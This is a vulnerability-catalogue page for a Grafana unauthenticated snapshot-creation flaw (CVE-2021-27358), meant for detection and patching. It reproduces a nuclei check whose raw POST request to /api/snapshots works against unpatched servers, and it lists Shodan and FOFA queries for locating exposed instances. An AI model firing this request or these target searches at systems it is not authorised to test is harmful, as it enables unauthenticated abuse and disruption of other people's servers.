Browse / CVEs / CVE-2021-27358
CVE-2021-27358· grafana / grafana· CWE-306
Grafana Unauthenticated Snapshot Creation
highseverity
7.5CVSS score
83%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
Impact
An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
Fix
Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
How to confirm it
Send: POST /api/snapshots
Positive when: contains "\"deleteUrl\":" and "\"deleteKey\":" AND contains in header "application/json"Run it with nuclei: nuclei -id CVE-2021-27358 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-27358
info:
name: Grafana Unauthenticated Snapshot Creation
author: pdteam,bing0o
severity: high
description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
impact: |
An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
remediation: |
Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
reference:
- https://phabricator.wikimedia.org/T274736
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2021-27358
cwe-id: CWE-306
epss-score: 0.83042
epss-percentile: 0.99677
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- title:"Grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
- http.title:"grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve2021,cve,grafana,unauth,vuln,vkev
http:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"deleteUrl":'
- '"deleteKey":'
condition: and
- type: word
part: header
words:
- "application/json"References
- https://phabricator.wikimedia.org/T274736
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
Use this check only on systems you are authorised to test. Where the data comes from